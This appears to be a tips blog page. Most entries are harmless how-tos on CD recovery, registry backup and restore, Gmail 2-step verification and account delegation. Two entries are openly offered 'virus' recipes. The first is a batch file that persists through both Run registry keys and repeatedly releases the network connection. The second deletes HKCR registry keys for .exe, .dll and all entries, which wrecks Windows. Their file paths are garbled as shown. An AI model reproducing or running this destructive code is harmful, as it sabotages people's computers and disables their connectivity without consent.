How to Recover Data from a Damaged CD or DVD?

First we need to download and install the CDCheck.

Insert the damage CD in your CD/DVD drive.

Launch CDCheck.

Click on the Check menu.

Select the drive in which the damaged CD is located and click on Continue.

Once the scan is completed a status report about the current status of your CD will be displayed.

If problems are detected, click Recovery.

How to Disable Internet Permanently in your computer

Just open your notepad
Click start and type notepad hit enter .
Now type The Following Code

echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE

Then save it as anything.bat and the batch file is created .

WARNING :: This is the most dangerous virus! Be careful with its use.

How to make the registry deleting virus in your computer

It will Delete the entire registry on your computer

Just open your notepad
Click start and type notepad hit enter .

Now type The Following Code


@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
Then save it as anything.bat and the batch file is created .

WARNING :: This is the most dangerous virus! Be careful with its use.

How to get back up and restore registry in windows

How to back up the Registry

1. Open registry editor by type "regedit.exe" on run window and hit enter.

2. Now the "Registry Editor" window will be open.
3. Click on "file" on the menu bar.
4. Now click on "Export"

5. It will ask to give a name & place a location where you want to save the registry.
6. Give the name and location and click on "OK"
7. Now a file with extension .reg will be saved. and this is the registry back up of registry. 

 How to Restore the registry

1. Open registry editor by type "regedit.exe" on run window and hit enter.

2. Now the "Registry Editor" window will be open.
3. Click on "file" on the menu bar.
4. Now click on "Import"

5. It will ask to select the file where the registry file is already saved.
6. Give location and click on "OK"
7. This is the registry restore of your registry.

How to Pause & Save Videos to Watch Later From Where You Left Off

You have to add the extension called Pause For Later.

Pause For Later is a Chrome extension that allows you to pause videos and save them for watching later.
After installing the extension, click the button in the toolbar to pause and save videos. Moreover, videos are saved along with the Time Remaining, Paused and Position information. You may watch videos right from where you left off.

It also records how much of a video you’ve watched

This extension also available for Firefox, Safari.

How to lock your gmail account with mobile

Gmail sends a code to your mobile when you try to login.

Log in to your Gmail account.

Go to the Setting menu on gmail.

Select the tab Accounts and imports.

In the Change Account Settings menu click on other account settings.

In the opened new tab click security.

You will find 2- step verification setting click on it.

It asks for password verification give your password.

Click Start setup.

Enter your phone number in the Phone Number column.

Select SMS or voice call and click Send code.

Your mobile will receive message Like Your Google verification code is XXXXXX (Ex: 173704)

Enter the verification code into the verification column and Click verify.

Click next if you don’t want to ask the verification code for every time from you have trusted computer. 

At last click conform for conformation then you can login to use the phone verification code.

How to Give Access to Your Gmail Account Without Sharing Password

It’s a very simple way simply enter your Google account click on Settings as in the picture

Then go to the accounts and import and click on add another account after you enter the Gmail guest account,

Message will reach the other side for the acceptance of the addition, where after acceptance must wait approximately 30 minutes in order to allow him to manage your account, so just by clicking on the image visitor (guest) in the mail box they choose to log on to your account,

So the guest will be able to read and reply to messages in addition to managing other Google services associated with your account.